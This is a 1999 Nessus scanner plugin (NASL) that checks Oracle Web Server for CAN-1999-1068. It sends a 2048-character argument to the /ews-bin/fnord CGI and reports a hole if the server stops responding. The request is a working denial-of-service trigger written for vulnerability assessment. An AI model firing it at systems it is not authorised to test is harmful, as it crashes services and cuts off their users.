1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
|
#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10171);
script_cve_id("CAN-1999-1068");
name["english"] = "Oracle Web Server denial of Service";
name["francais"] = "Dni de service contre le serveur web d'Oracle";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
It was possible to make the remote
web server crash by supplying a too
long argument to the cgi
/ews-bin/fnord.
An attacker may use this flaw to prevent
your customers to access your web site.
Solution : remove this CGI.
Risk factor : Serious";
desc["francais"] = "
Il s'est avr possible de faire planter
le serveur Web distant en donnant un
argument trop long au CGI
/ews-bin/fnord.
Un pirate peut utiliser ce problme pour
empecher vos clients d'accder votre
site web.
Solution : retirez ce CGI.
Facteur de risque : Srieux";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Crashes the remote OWS";
summary["francais"] = "Fait planter le OWS distant";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
family["english"] = "Denial of Service";
family["francais"] = "Dni de service";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes", "no404.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
port = is_cgi_installed("/ews-bin/fnord");
if(port)
{
request = string("/ews-bin/fnord?foo=", crap(2048));
is_cgi_installed(request);
sleep(5);
soc = open_sock_tcp(port);
if(!soc)security_hole(port);
else close(soc);
}
|